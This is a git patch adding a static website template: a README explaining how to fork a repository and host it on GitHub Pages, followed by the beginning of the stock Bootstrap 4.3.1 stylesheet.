From 071eaf27062612361ee8d4167f81a2cd2f281fc4 Mon Sep 17 00:00:00 2001 From: Jenin82 Date: Sat, 23 Sep 2023 21:51:35 +0530 Subject: [PATCH] initial commit --- README.md | 29 +- css/bootstrap.css | 10038 +++++++++++++++++++++++++++++++++++++ css/font-awesome.min.css | 4 + css/responsive.css | 107 + css/style.css | 930 ++++ css/style.css.map | 9 + css/style.scss | 798 +++ images/favicon.png | Bin 0 -> 34768 bytes images/hero-bg.png | Bin 0 -> 63588 bytes images/slider-img.png | Bin 0 -> 205568 bytes index.html | 207 + js/bootstrap.js | 4442 ++++++++++++++++ js/custom.js | 46 + js/jquery-3.4.1.min.js | 2 + 14 files changed, 16611 insertions(+), 1 deletion(-) create mode 100644 css/bootstrap.css create mode 100644 css/font-awesome.min.css create mode 100644 css/responsive.css create mode 100644 css/style.css create mode 100644 css/style.css.map create mode 100644 css/style.scss create mode 100644 images/favicon.png create mode 100644 images/hero-bg.png create mode 100644 images/slider-img.png create mode 100644 index.html create mode 100644 js/bootstrap.js create mode 100644 js/custom.js create mode 100644 js/jquery-3.4.1.min.js diff --git a/README.md b/README.md index a01ba6a..b4c2a37 100644 --- a/README.md +++ b/README.md @@ -1 +1,28 @@ -# learn-github-pages \ No newline at end of file +# How to Host an HTML File on GitHub Pages + +This guide will walk you through the process of forking a repository containing an HTML file and then hosting it using GitHub Pages. + +## Prerequisites: +- A GitHub account. If you don't have one, [sign up](https://github.com/join) for free. + +## Steps: + +### 1. Fork the Repository +- Navigate to the repository you wish to fork on GitHub. +- Click on the 'Fork' button at the top right corner of the page. This will create a copy of the repository in your GitHub account. + +### 2. Set up GitHub Pages +- Navigate to your forked repository on the GitHub website. +- Go to the 'Settings' tab, located at the top-right corner of the page. +- Scroll down to the 'GitHub Pages' section. +- Under 'Branch', select the branch you want to use for GitHub Pages (change `None` to `main`). +- Click 'Save'. +- Wait a few minutes for your page to be deployed. + +### 3. Access Your Hosted HTML File +- Refresh the page and you will find a link to your hosted page at the top. +- After configuring GitHub Pages, GitHub will provide you with a link to your live site. It usually looks something like: `https://yourusername.github.io/forked-repo-name/` + + +## Conclusion +That's it! You have successfully forked a repository and hosted an HTML file using GitHub Pages without cloning locally. Enjoy your live site! diff --git a/css/bootstrap.css b/css/bootstrap.css new file mode 100644 index 0000000..8f47589 --- /dev/null +++ b/css/bootstrap.css @@ -0,0 +1,10038 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors + * Copyright 2011-2019 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +:root { + --blue: #007bff; + --indigo: #6610f2; + --purple: #6f42c1; + --pink: #e83e8c; + --red: #dc3545; + --orange: #fd7e14; + --yellow: #ffc107; + --green: #28a745; + --teal: #20c997; + --cyan: #17a2b8; + --white: #fff; + --gray: #6c757d; + --gray-dark: #343a40; + --primary: #007bff; + --secondary: #6c757d; + --success: #28a745; + --info: #17a2b8; + --warning: #ffc107; + --danger: #dc3545; + --light: #f8f9fa; + --dark: #343a40; + --breakpoint-xs: 0; + --breakpoint-sm: 576px; + --breakpoint-md: 768px; + --breakpoint-lg: 992px; + --breakpoint-xl: 1200px; + --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; +} + +*, +*::before, +*::after { + box-sizing: border-box; +} + +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} + +article, aside, figcaption, figure, footer, header, hgroup, main, nav, section { + display: block; +} + +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #212529; + text-align: left; + background-color: #fff; +} + +[tabindex="-1"]:focus { + outline: 0 !important; +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible; +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0; + margin-bottom: 0.5rem; +} + +p { + margin-top: 0; + margin-bottom: 1rem; +} + +abbr[title], +abbr[data-original-title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0; + -webkit-text-decoration-skip-ink: none; + text-decoration-skip-ink: none; +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit; +} + +ol, +ul, +dl { + margin-top: 0; + margin-bottom: 1rem; +} + +ol ol, +ul ul, +ol ul, +ul ol { + margin-bottom: 0; +} + +dt { + font-weight: 700; +} + +dd { + margin-bottom: .5rem; + margin-left: 0; +} + +blockquote { + margin: 0 0 1rem; +} + +b, +strong { + font-weight: bolder; +} + +small { + font-size: 80%; +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} + +sub { + bottom: -.25em; +} + +sup { + top: -.5em; +} + +a { + color: #007bff; + text-decoration: none; + background-color: transparent; +} + +a:hover { + color: #0056b3; + text-decoration: underline; +} + +a:not([href]):not([tabindex]) { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):focus { + outline: 0; +} + +pre, +code, +kbd, +samp { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; + font-size: 1em; +} + +pre { + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; +} + +figure { + margin: 0 0 1rem; +} + +img { + vertical-align: middle; + border-style: none; +} + +svg { + overflow: hidden; + vertical-align: middle; +} + +table { + border-collapse: collapse; +} + +caption { + padding-top: 0.75rem; + padding-bottom: 0.75rem; + color: #6c757d; + text-align: left; + caption-side: bottom; +} + +th { + text-align: inherit; +} + +label { + display: inline-block; + margin-bottom: 0.5rem; +} + +button { + border-radius: 0; +} + +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color; +} + +input, +button, +select, +optgroup, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit; +} + +button, +input { + overflow: visible; +} + +button, +select { + text-transform: none; +} + +select { + word-wrap: normal; +} + +button, +[type="button"], +[type="reset"], +[type="submit"] { + -webkit-appearance: button; +} + +button:not(:disabled), +[type="button"]:not(:disabled), +[type="reset"]:not(:disabled), +[type="submit"]:not(:disabled) { + cursor: pointer; +} + +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + padding: 0; + border-style: none; +} + +input[type="radio"], +input[type="checkbox"] { + box-sizing: border-box; + padding: 0; +} + +input[type="date"], +input[type="time"], +input[type="datetime-local"], +input[type="month"] { + -webkit-appearance: listbox; +} + +textarea { + overflow: auto; + resize: vertical; +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal; +} + +progress { + vertical-align: baseline; +} + +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} + +[type="search"] { + outline-offset: -2px; + -webkit-appearance: none; +} + +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button; +} + +output { + display: inline-block; +} + +summary { + display: list-item; + cursor: pointer; +} + +template { + display: none; +} + +[hidden] { + display: none !important; +} + +h1, h2, h3, h4, h5, h6, +.h1, .h2, .h3, .h4, .h5, .h6 { + margin-bottom: 0.5rem; + font-weight: 500; + line-height: 1.2; +} + +h1, .h1 { + font-size: 2.5rem; +} + +h2, .h2 { + font-size: 2rem; +} + +h3, .h3 { + font-size: 1.75rem; +} + +h4, .h4 { + font-size: 1.5rem; +} + +h5, .h5 { + font-size: 1.25rem; +} + +h6, .h6 { + font-size: 1rem; +} + +.lead { + font-size: 1.25rem; + font-weight: 300; +} + +.display-1 { + font-size: 6rem; + font-weight: 300; + line-height: 1.2; +} + +.display-2 { + font-size: 5.5rem; + font-weight: 300; + line-height: 1.2; +} + +.display-3 { + font-size: 4.5rem; + font-weight: 300; + line-height: 1.2; +} + +.display-4 { + font-size: 3.5rem; + font-weight: 300; + line-height: 1.2; +} + +hr { + margin-top: 1rem; + margin-bottom: 1rem; + border: 0; + border-top: 1px solid rgba(0, 0, 0, 0.1); +} + +small, +.small { + font-size: 80%; + font-weight: 400; +} + +mark, +.mark { + padding: 0.2em; + background-color: #fcf8e3; +} + +.list-unstyled { + padding-left: 0; + list-style: none; +} + +.list-inline { + padding-left: 0; + list-style: none; +} + +.list-inline-item { + display: inline-block; +} + +.list-inline-item:not(:last-child) { + margin-right: 0.5rem; +} + +.initialism { + font-size: 90%; + text-transform: uppercase; +} + +.blockquote { + margin-bottom: 1rem; + font-size: 1.25rem; +} + +.blockquote-footer { + display: block; + font-size: 80%; + color: #6c757d; +} + +.blockquote-footer::before { + content: "\2014\00A0"; +} + +.img-fluid { + max-width: 100%; + height: auto; +} + +.img-thumbnail { + padding: 0.25rem; + background-color: #fff; + border: 1px solid #dee2e6; + border-radius: 0.25rem; + max-width: 100%; + height: auto; +} + +.figure { + display: inline-block; +} + +.figure-img { + margin-bottom: 0.5rem; + line-height: 1; +} + +.figure-caption { + font-size: 90%; + color: #6c757d; +} + +code { + font-size: 87.5%; + color: #e83e8c; + word-break: break-word; +} + +a > code { + color: inherit; +} + +kbd { + padding: 0.2rem 0.4rem; + font-size: 87.5%; + color: #fff; + background-color: #212529; + border-radius: 0.2rem; +} + +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: 700; +} + +pre { + display: block; + font-size: 87.5%; + color: #212529; +} + +pre code { + font-size: inherit; + color: inherit; + word-break: normal; +} + +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} + +.container { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +@media (min-width: 576px) { + .container { + max-width: 540px; + } +} + +@media (min-width: 768px) { + .container { + max-width: 720px; + } +} + +@media (min-width: 992px) { + .container { + max-width: 960px; + } +} + +@media (min-width: 1200px) { + .container { + max-width: 1140px; + } +} + +.container-fluid { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +.row { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -15px; + margin-left: -15px; +} + +.no-gutters { + margin-right: 0; + margin-left: 0; +} + +.no-gutters > .col, +.no-gutters > [class*="col-"] { + padding-right: 0; + padding-left: 0; +} + +.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col, +.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm, +.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md, +.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg, +.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl, +.col-xl-auto { + position: relative; + width: 100%; + padding-right: 15px; + padding-left: 15px; +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; +} + +.col-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: 100%; +} + +.col-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; +} + +.col-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; +} + +.col-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; +} + +.col-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; +} + +.col-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; +} + +.col-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; +} + +.col-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; +} + +.col-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; +} + +.col-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; +} + +.col-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; +} + +.col-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; +} + +.col-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; +} + +.order-first { + -ms-flex-order: -1; + order: -1; +} + +.order-last { + -ms-flex-order: 13; + order: 13; +} + +.order-0 { + -ms-flex-order: 0; + order: 0; +} + +.order-1 { + -ms-flex-order: 1; + order: 1; +} + +.order-2 { + -ms-flex-order: 2; + order: 2; +} + +.order-3 { + -ms-flex-order: 3; + order: 3; +} + +.order-4 { + -ms-flex-order: 4; + order: 4; +} + +.order-5 { + -ms-flex-order: 5; + order: 5; +} + +.order-6 { + -ms-flex-order: 6; + order: 6; +} + +.order-7 { + -ms-flex-order: 7; + order: 7; +} + +.order-8 { + -ms-flex-order: 8; + order: 8; +} + +.order-9 { + -ms-flex-order: 9; + order: 9; +} + +.order-10 { + -ms-flex-order: 10; + order: 10; +} + +.order-11 { + -ms-flex-order: 11; + order: 11; +} + +.order-12 { + -ms-flex-order: 12; + order: 12; +} + +.offset-1 { + margin-left: 8.333333%; +} + +.offset-2 { + margin-left: 16.666667%; +} + +.offset-3 { + margin-left: 25%; +} + +.offset-4 { + margin-left: 33.333333%; +} + +.offset-5 { + margin-left: 41.666667%; +} + +.offset-6 { + margin-left: 50%; +} + +.offset-7 { + margin-left: 58.333333%; +} + +.offset-8 { + margin-left: 66.666667%; +} + +.offset-9 { + margin-left: 75%; +} + +.offset-10 { + margin-left: 83.333333%; +} + +.offset-11 { + margin-left: 91.666667%; +} + +@media (min-width: 576px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-sm-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: 100%; + } + .col-sm-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-sm-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-sm-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-sm-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-sm-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-sm-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-sm-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-sm-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-sm-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-sm-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-sm-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-sm-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-sm-first { + -ms-flex-order: -1; + order: -1; + } + .order-sm-last { + -ms-flex-order: 13; + order: 13; + } + .order-sm-0 { + -ms-flex-order: 0; + order: 0; + } + .order-sm-1 { + -ms-flex-order: 1; + order: 1; + } + .order-sm-2 { + -ms-flex-order: 2; + order: 2; + } + .order-sm-3 { + -ms-flex-order: 3; + order: 3; + } + .order-sm-4 { + -ms-flex-order: 4; + order: 4; + } + .order-sm-5 { + -ms-flex-order: 5; + order: 5; + } + .order-sm-6 { + -ms-flex-order: 6; + order: 6; + } + .order-sm-7 { + -ms-flex-order: 7; + order: 7; + } + .order-sm-8 { + -ms-flex-order: 8; + order: 8; + } + .order-sm-9 { + -ms-flex-order: 9; + order: 9; + } + .order-sm-10 { + -ms-flex-order: 10; + order: 10; + } + .order-sm-11 { + -ms-flex-order: 11; + order: 11; + } + .order-sm-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-sm-0 { + margin-left: 0; + } + .offset-sm-1 { + margin-left: 8.333333%; + } + .offset-sm-2 { + margin-left: 16.666667%; + } + .offset-sm-3 { + margin-left: 25%; + } + .offset-sm-4 { + margin-left: 33.333333%; + } + .offset-sm-5 { + margin-left: 41.666667%; + } + .offset-sm-6 { + margin-left: 50%; + } + .offset-sm-7 { + margin-left: 58.333333%; + } + .offset-sm-8 { + margin-left: 66.666667%; + } + .offset-sm-9 { + margin-left: 75%; + } + .offset-sm-10 { + margin-left: 83.333333%; + } + .offset-sm-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 768px) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-md-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: 100%; + } + .col-md-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-md-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-md-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-md-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-md-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-md-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-md-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-md-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-md-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-md-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-md-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-md-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-md-first { + -ms-flex-order: -1; + order: -1; + } + .order-md-last { + -ms-flex-order: 13; + order: 13; + } + .order-md-0 { + -ms-flex-order: 0; + order: 0; + } + .order-md-1 { + -ms-flex-order: 1; + order: 1; + } + .order-md-2 { + -ms-flex-order: 2; + order: 2; + } + .order-md-3 { + -ms-flex-order: 3; + order: 3; + } + .order-md-4 { + -ms-flex-order: 4; + order: 4; + } + .order-md-5 { + -ms-flex-order: 5; + order: 5; + } + .order-md-6 { + -ms-flex-order: 6; + order: 6; + } + .order-md-7 { + -ms-flex-order: 7; + order: 7; + } + .order-md-8 { + -ms-flex-order: 8; + order: 8; + } + .order-md-9 { + -ms-flex-order: 9; + order: 9; + } + .order-md-10 { + -ms-flex-order: 10; + order: 10; + } + .order-md-11 { + -ms-flex-order: 11; + order: 11; + } + .order-md-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-md-0 { + margin-left: 0; + } + .offset-md-1 { + margin-left: 8.333333%; + } + .offset-md-2 { + margin-left: 16.666667%; + } + .offset-md-3 { + margin-left: 25%; + } + .offset-md-4 { + margin-left: 33.333333%; + } + .offset-md-5 { + margin-left: 41.666667%; + } + .offset-md-6 { + margin-left: 50%; + } + .offset-md-7 { + margin-left: 58.333333%; + } + .offset-md-8 { + margin-left: 66.666667%; + } + .offset-md-9 { + margin-left: 75%; + } + .offset-md-10 { + margin-left: 83.333333%; + } + .offset-md-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 992px) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-lg-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: 100%; + } + .col-lg-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-lg-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-lg-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-lg-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-lg-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-lg-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-lg-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-lg-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-lg-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-lg-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-lg-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-lg-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-lg-first { + -ms-flex-order: -1; + order: -1; + } + .order-lg-last { + -ms-flex-order: 13; + order: 13; + } + .order-lg-0 { + -ms-flex-order: 0; + order: 0; + } + .order-lg-1 { + -ms-flex-order: 1; + order: 1; + } + .order-lg-2 { + -ms-flex-order: 2; + order: 2; + } + .order-lg-3 { + -ms-flex-order: 3; + order: 3; + } + .order-lg-4 { + -ms-flex-order: 4; + order: 4; + } + .order-lg-5 { + -ms-flex-order: 5; + order: 5; + } + .order-lg-6 { + -ms-flex-order: 6; + order: 6; + } + .order-lg-7 { + -ms-flex-order: 7; + order: 7; + } + .order-lg-8 { + -ms-flex-order: 8; + order: 8; + } + .order-lg-9 { + -ms-flex-order: 9; + order: 9; + } + .order-lg-10 { + -ms-flex-order: 10; + order: 10; + } + .order-lg-11 { + -ms-flex-order: 11; + order: 11; + } + .order-lg-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-lg-0 { + margin-left: 0; + } + .offset-lg-1 { + margin-left: 8.333333%; + } + .offset-lg-2 { + margin-left: 16.666667%; + } + .offset-lg-3 { + margin-left: 25%; + } + .offset-lg-4 { + margin-left: 33.333333%; + } + .offset-lg-5 { + margin-left: 41.666667%; + } + .offset-lg-6 { + margin-left: 50%; + } + .offset-lg-7 { + margin-left: 58.333333%; + } + .offset-lg-8 { + margin-left: 66.666667%; + } + .offset-lg-9 { + margin-left: 75%; + } + .offset-lg-10 { + margin-left: 83.333333%; + } + .offset-lg-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 1200px) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-xl-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: 100%; + } + .col-xl-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-xl-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-xl-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-xl-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-xl-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-xl-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-xl-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-xl-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-xl-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-xl-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-xl-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-xl-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-xl-first { + -ms-flex-order: -1; + order: -1; + } + .order-xl-last { + -ms-flex-order: 13; + order: 13; + } + .order-xl-0 { + -ms-flex-order: 0; + order: 0; + } + .order-xl-1 { + -ms-flex-order: 1; + order: 1; + } + .order-xl-2 { + -ms-flex-order: 2; + order: 2; + } + .order-xl-3 { + -ms-flex-order: 3; + order: 3; + } + .order-xl-4 { + -ms-flex-order: 4; + order: 4; + } + .order-xl-5 { + -ms-flex-order: 5; + order: 5; + } + .order-xl-6 { + -ms-flex-order: 6; + order: 6; + } + .order-xl-7 { + -ms-flex-order: 7; + order: 7; + } + .order-xl-8 { + -ms-flex-order: 8; + order: 8; + } + .order-xl-9 { + -ms-flex-order: 9; + order: 9; + } + .order-xl-10 { + -ms-flex-order: 10; + order: 10; + } + .order-xl-11 { + -ms-flex-order: 11; + order: 11; + } + .order-xl-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-xl-0 { + margin-left: 0; + } + .offset-xl-1 { + margin-left: 8.333333%; + } + .offset-xl-2 { + margin-left: 16.666667%; + } + .offset-xl-3 { + margin-left: 25%; + } + .offset-xl-4 { + margin-left: 33.333333%; + } + .offset-xl-5 { + margin-left: 41.666667%; + } + .offset-xl-6 { + margin-left: 50%; + } + .offset-xl-7 { + margin-left: 58.333333%; + } + .offset-xl-8 { + margin-left: 66.666667%; + } + .offset-xl-9 { + margin-left: 75%; + } + .offset-xl-10 { + margin-left: 83.333333%; + } + .offset-xl-11 { + margin-left: 91.666667%; + } +} + +.table { + width: 100%; + margin-bottom: 1rem; + color: #212529; +} + +.table th, +.table td { + padding: 0.75rem; + vertical-align: top; + border-top: 1px solid #dee2e6; +} + +.table thead th { + vertical-align: bottom; + border-bottom: 2px solid #dee2e6; +} + +.table tbody + tbody { + border-top: 2px solid #dee2e6; +} + +.table-sm th, +.table-sm td { + padding: 0.3rem; +} + +.table-bordered { + border: 1px solid #dee2e6; +} + +.table-bordered th, +.table-bordered td { + border: 1px solid #dee2e6; +} + +.table-bordered thead th, +.table-bordered thead td { + border-bottom-width: 2px; +} + +.table-borderless th, +.table-borderless td, +.table-borderless thead th, +.table-borderless tbody + tbody { + border: 0; +} + +.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(0, 0, 0, 0.05); +} + +.table-hover tbody tr:hover { + color: #212529; + background-color: rgba(0, 0, 0, 0.075); +} + +.table-primary, +.table-primary > th, +.table-primary > td { + background-color: #b8daff; +} + +.table-primary th, +.table-primary td, +.table-primary thead th, +.table-primary tbody + tbody { + border-color: #7abaff; +} + +.table-hover .table-primary:hover { + background-color: #9fcdff; +} + +.table-hover .table-primary:hover > td, +.table-hover .table-primary:hover > th { + background-color: #9fcdff; +} + +.table-secondary, +.table-secondary > th, +.table-secondary > td { + background-color: #d6d8db; +} + +.table-secondary th, +.table-secondary td, +.table-secondary thead th, +.table-secondary tbody + tbody { + border-color: #b3b7bb; +} + +.table-hover .table-secondary:hover { + background-color: #c8cbcf; +} + +.table-hover .table-secondary:hover > td, +.table-hover .table-secondary:hover > th { + background-color: #c8cbcf; +} + +.table-success, +.table-success > th, +.table-success > td { + background-color: #c3e6cb; +} + +.table-success th, +.table-success td, +.table-success thead th, +.table-success tbody + tbody { + border-color: #8fd19e; +} + +.table-hover .table-success:hover { + background-color: #b1dfbb; +} + +.table-hover .table-success:hover > td, +.table-hover .table-success:hover > th { + background-color: #b1dfbb; +} + +.table-info, +.table-info > th, +.table-info > td { + background-color: #bee5eb; +} + +.table-info th, +.table-info td, +.table-info thead th, +.table-info tbody + tbody { + border-color: #86cfda; +} + +.table-hover .table-info:hover { + background-color: #abdde5; +} + +.table-hover .table-info:hover > td, +.table-hover .table-info:hover > th { + background-color: #abdde5; +} + +.table-warning, +.table-warning > th, +.table-warning > td { + background-color: #ffeeba; +} + +.table-warning th, +.table-warning td, +.table-warning thead th, +.table-warning tbody + tbody { + border-color: #ffdf7e; +} + +.table-hover 